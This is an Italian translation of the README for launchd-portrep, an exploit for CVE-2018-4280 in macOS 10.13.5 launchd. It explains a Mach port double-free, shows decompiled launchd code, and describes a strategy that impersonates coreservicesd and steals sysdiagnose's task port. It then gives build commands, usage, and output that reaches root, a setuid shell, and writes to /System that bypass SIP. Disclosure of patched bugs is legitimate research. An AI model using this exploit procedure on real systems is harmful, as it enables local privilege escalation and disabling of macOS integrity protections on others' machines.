
CVE-2018-4280: Vulnerabilità di sostituzione delle porte Mach in launchd su macOS 10.13.5 che porta a escalation dei privilegi locali e bypass di SIP.
launchd-portrep è un exploit per una vulnerabilità di sostituzione dei port in launchd, il processo iniziale nello spazio utente e demone di gestione dei servizi su macOS. Inviando un messaggio Mach appositamente costruito al bootstrap port, launchd può essere indotto a deallocare il suo send right per qualsiasi port Mach a cui l'attaccante ha anch'esso un send right. Ciò consente all'attaccante di impersonare qualsiasi servizio launchd che può cercare davanti al resto del sistema.
Launchd multiplexa diversi gestori di messaggi Mach sul suo port principale, incluso un gestore MIG per i messaggi di eccezione. Se un processo invia un messaggio mach_exception_raise o mach_exception_raise_state_identity al proprio bootstrap port, launchd riceverà e processerà quel messaggio come un'eccezione a livello di host.
Purtroppo, la gestione di questi messaggi da parte di launchd è difettosa. Se il tipo di eccezione è EXC_CRASH, allora launchd dealloca i port di thread e task inviati nel messaggio e poi restituisce KERN_FAILURE dalla routine di servizio, causando la deallocazione da parte del sistema MIG dei port di thread e task una seconda volta. (L'assunzione è che se una routine di servizio restituisce successo, allora ha preso possesso di tutte le risorse nel messaggio Mach, mentre se la routine di servizio restituisce un errore, allora non ha preso possesso di nessuna risorsa.)
Ecco il codice dalla routine di servizio di launchd per i messaggi mach_exception_raise, decompilato con IDA/Hex-Rays e leggermente modificato per migliorare la leggibilità:
kern_return_t __fastcall
catch_mach_exception_raise( // (a) La routine di servizio
mach_port_t exception_port, // viene chiamata con i valori
mach_port_t thread, // direttamente dal messaggio
mach_port_t task, // Mach inviato dal client.
unsigned int exception, // I port di thread e task
mach_exception_data_t code, // potrebbero essere send right
unsigned int codeCnt) // arbitrari.
{
kern_return_t kr; // eax@1 MAPDST
kern_return_t result; // eax@10
int pid; // [rsp+14h] [rbp-43Ch]@1
char codes_str[1024]; // [rsp+20h] [rbp-430h]@5
__int64 __stack_guard; // [rsp+420h] [rbp-30h]@1
__stack_guard = *__stack_chk_guard_ptr;
pid = -1;
kr = pid_for_task(task, &pid);
if ( kr )
{
_os_assumes_log(kr);
_os_avoid_tail_call();
}
if ( codeCnt )
{
do
{
__snprintf_chk(codes_str, 0x400uLL, 0, 0x400uLL, "0x%llx", *code);
++code;
--codeCnt;
}
while ( codeCnt );
}
launchd_log_2(
0LL,
3LL,
"Host-level exception raised: pid = %d, thread = 0x%x, "
"exception type = 0x%x, codes = { %s }",
pid,
thread,
exception,
codes_str);
kr = deallocate_mach_port(thread); // (b) Il port "thread" inviato
if ( kr ) // nel messaggio viene deallocato.
{
_os_assumes_log(kr);
_os_avoid_tail_call();
}
kr = deallocate_mach_port(task); // (c) Il port "task" inviato nel
if ( kr ) // messaggio viene deallocato.
{
_os_assumes_log(kr);
_os_avoid_tail_call();
}
result = 0;
if ( *__stack_chk_guard_ptr == __stack_guard )
{
LOBYTE(result) = exception == 10; // (d) Se il tipo di eccezione è 10
result *= 5; // (EXC_CRASH), allora viene
} // restituito un errore
return result; // KERN_FAILURE. MIG dealloca
} // i port di nuovo.
Questa doppia deallocazione dei nomi dei port è problematica perché un processo può impostare qualsiasi port desideri come port di task e thread nel messaggio di eccezione. Launchd non esegue alcun controllo che i send right ricevuti corrispondano effettivamente a un thread e un task; i port potrebbero, ad esempio, essere send right verso port già presenti nello spazio IPC di launchd. Quindi la doppia deallocazione farebbe effettivamente sì che launchd perda un riferimento utente su uno dei suoi port.
Questo bug può essere sfruttato per liberare il send right di launchd verso qualsiasi port Mach a cui il processo attaccante ha anch'esso un send right. In particolare, se il processo attaccante può cercare un servizio di sistema usando launchd, allora può liberare il send right di launchd verso quel servizio e quindi impersonare il servizio al resto del sistema. Dopo di che ci sono molte strade diverse per ottenere privilegi di sistema.
Questo bug è una versione meno generale del CVE-2016-7637, un problema di gestione dei riferimenti utente di Mach port in XNU scoperto da Ian Beer che permetteva ai processi di liberare port Mach in altri processi. Ian Beer ha sfruttato quella vulnerabilità su macOS sostituendo il send right di launchd verso l'endpoint com.apple.CoreServices.coreservicesd e impersonando coreservicesd al resto del sistema. Coreservicesd è un bersaglio interessante perché è uno dei pochi servizi a cui i client invieranno il loro task port in un messaggio Mach. Sostituendo il send right di launchd verso coreservicesd con il proprio port e quindi inducendo client privilegiati a cercare e comunicare con coreservicesd, è riuscito a ottenere il task port per un processo privilegiato e quindi eseguire codice all'interno di quel processo.
Poiché il comportamento su macOS non è cambiato, ho sostanzialmente copiato la strategia di exploit di Ian Beer per questa vulnerabilità. Inviamo messaggi di eccezione a launchd contenenti il port di servizio di coreservicesd finché non liberiamo il send right di launchd verso quel port. Possiamo rilevare quando abbiamo liberato il diritto chiamando di nuovo bootstrap_look_up() sul servizio: se launchd restituisce un nome di port non valido, allora abbiamo liberato con successo il send right di launchd verso il port. Quindi, registriamo e annulliamo ripetutamente la registrazione di un gran numero di servizi con launchd finché uno dei servizi che registriamo non viene assegnato allo stesso nome di port Mach nello spazio IPC di launchd del port originale di coreservicesd. A questo punto, qualsiasi processo che cerca com.apple.CoreServices.coreservicesd in launchd riceverà un send right verso il nostro servizio falso invece che verso il vero coreservicesd. Poi eseguiamo un server MITM sul port di servizio falso, ispezionando tutti i port Mach nei messaggi ricevuti dai client prima di inviarli al vero coreservicesd. A questo punto inviamo un messaggio a sysdiagnose che lo fa eseguire un tailspin, il che fa sì che sysdiagnose si connetta al nostro port falso di coreservicesd e ci invii il suo task port. Poiché sysdiagnose ha l'entitlement task_for_pid-allow, possiamo ora ottenere il task port per qualsiasi processo.
Per ripristinare (per lo più) il corretto funzionamento del sistema, utilizziamo sysdiagnose per ottenere il task port di launchd, e quindi utilizziamo il task port di launchd per sostituire il send right di launchd verso il nostro port di servizio falso con un send right verso il vero coreservicesd. In questo modo i client futuri potranno effettivamente raggiungere coreservicesd.
Un problema che ho notato con questo approccio è che il sistema sembra bloccarsi per un breve periodo durante lo spegnimento. Presumo che ciò sia dovuto al fatto che manomettere i port di launchd sconvolge alcune contabilità o notifiche di port di launchd. Non ho approfondito ulteriormente questo problema, ma riavviare coreservicesd usando launchctl sembra risolverlo:
$ sudo launchctl kickstart -k -p system/com.apple.coreservicesd
Una volta che abbiamo esecuzione di codice all'interno di un processo con task_for_pid-allow, possiamo controllare qualsiasi task sul sistema. Questo è fantastico perché non solo possiamo eseguire la normale elevazione dei privilegi, ma possiamo anche bypassare SIP iniettando codice in processi con entitlement SIP.
Questo exploit dimostra due potenziali utilizzi: esecuzione di comandi di sistema come root e iniezione di dylib. Per eseguire un comando di sistema, invochiamo semplicemente la funzione standard system() dall'interno di sysdiagnose, passandole la stringa di comando fornita dall'utente. Per iniettare una dylib in un processo, chiamiamo task_for_pid() dall'interno di sysdiagnose per ottenere il task port del target, quindi utilizziamo il task port per chiamare dlopen() sulla libreria fornita.
Per costruire l'exploit autonomo launchd-portrep, esegui make. Consulta l'inizio del Makefile per varie opzioni di build. Dovrai prima scaricare e compilare la libreria di iniezione threadexec.
$ git clone https://github.com/bazad/launchd-portrep
$ cd launchd-portrep
$ git clone https://github.com/bazad/threadexec
$ cd threadexec
$ make ARCH=x86_64 SDK=macosx
$ cd ..
$ make
Nota che l'exploit così come scritto fallirà se il processo sysdiagnose è già in esecuzione. Pertanto, ai fini di questa proof of concept, assicurati di uccidere sysdiagnose prima di eseguire l'exploit. (È possibile rielaborare l'exploit in modo che funzioni anche se sysdiagnose è già in esecuzione, ma ho deciso di non incorporare questa funzionalità per scoraggiare l'uso di questo strumento per scopi malintenzionati.)
Esegui l'exploit specificando il comando da eseguire come se fosse passato alla funzione system():
$ ./launchd-portrep 'touch /tmp/exploit-success'
[+] Freed launchd service port for com.apple.CoreServices.coreservicesd
[+] Replaced com.apple.CoreServices.coreservicesd with replacer port 0xd77 (index 196) after 28 tries
[+] Sysdiagnose has PID 499
[+] Found sysdiagnose task port 0x1767b
[+] Command exited with status: 0
$ ls -la /tmp/exploit-success
-rw-r--r-- 1 root wheel 0 Jul 24 23:50 /tmp/exploit-success
In alternativa, se specifichi un PID e un percorso assoluto a un file di libreria dinamica, launchd-portrep inietterà la dylib nel processo specificato.
Ci sono anche due script di esempio che incapsulano launchd-portrep: launchd-portrep-rootsh.sh e launchd-portrep-rootless.sh.
launchd-portrep-rootsh.sh presenterà una shell root tradizionale installando un setuid-root shell launcher sotto /var/suid-sh. (La shell setuid viene automaticamente rimossa dopo 1 secondo.)
$ bash ./launchd-portrep-rootsh.sh
[+] Freed launchd service port for com.apple.CoreServices.coreservicesd
[+] Replaced com.apple.CoreServices.coreservicesd with replacer port 0x153b (index 192) after 60 tries
[+] Sysdiagnose has PID 1231
[+] Found sysdiagnose task port 0x1df7b
[+] Command exited with status: 0
Launching /private/var/suid-sh
bash-3.2#
launchd-portrep-rootless.sh è ancora più interessante: presenta una shell in cui le restrizioni rootless sul filesystem sono state disabilitate. Lo fa generando diskmanagementd, che ha l'entitlement com.apple.rootless.install.heritable, e poi iniettando una dylib in diskmanagementd che lo fa generare una shell con stdin e stdout legati a named pipe. Come suggerisce il nome dell'entitlement, le esenzioni da SIP concesse da com.apple.rootless.install.heritable saranno passate ai processi figli, il che significa che la shell e tutti i comandi eseguiti al suo interno sono essenzialmente esenti dalle protezioni del filesystem di SIP.
$ bash ./launchd-portrep-rootless.sh
[+] Freed launchd service port for com.apple.CoreServices.coreservicesd
[+] Replaced com.apple.CoreServices.coreservicesd with replacer port 0xe7b (index 194) after 60 tries
[+] Sysdiagnose has PID 1145
[+] Found sysdiagnose task port 0x1747b
[+] Command exited with status: 0
[+] Freed launchd service port for com.apple.CoreServices.coreservicesd
[+] Replaced com.apple.CoreServices.coreservicesd with replacer port 0x13d7b (index 199) after 61 tries
[+] Sysdiagnose has PID 1162
[+] Found sysdiagnose task port 0xbe47
[+] Got task port 0xa07 for PID 1153
[+] Successfully loaded "/Users/bazad/Developer/GitHub/launchd-portrep/rootless-sh.dylib" in process 1153
bash: no job control in this shell
bash-3.2# csrutil status
System Integrity Protection status: enabled.
bash-3.2# ls -laO /System
total 0
drwxr-xr-x@ 4 root wheel restricted 128 Jul 25 19:08 .
drwxr-xr-x 31 root wheel sunlnk 992 Jul 25 12:20 ..
-rw-r--r-- 1 root wheel restricted 0 Oct 6 2017 .localized
drwxr-xr-x 102 root wheel restricted 3264 Jun 12 11:47 Library
bash-3.2# touch /System/exploit-success
bash-3.2# ls -laO /System
total 0
drwxr-xr-x@ 5 root wheel restricted 160 Jul 25 19:19 .
drwxr-xr-x 31 root wheel sunlnk 992 Jul 25 12:20 ..
-rw-r--r-- 1 root wheel restricted 0 Oct 6 2017 .localized
drwxr-xr-x 102 root wheel restricted 3264 Jun 12 11:47 Library
-rw-r--r-- 1 root wheel restricted 0 Jul 25 19:19 exploit-success
bash-3.2# exit
launchd-portrep è stato testato su macOS 10.13.5 17F77.
Il codice di launchd-portrep è rilasciato sotto licenza MIT.
Brandon Azad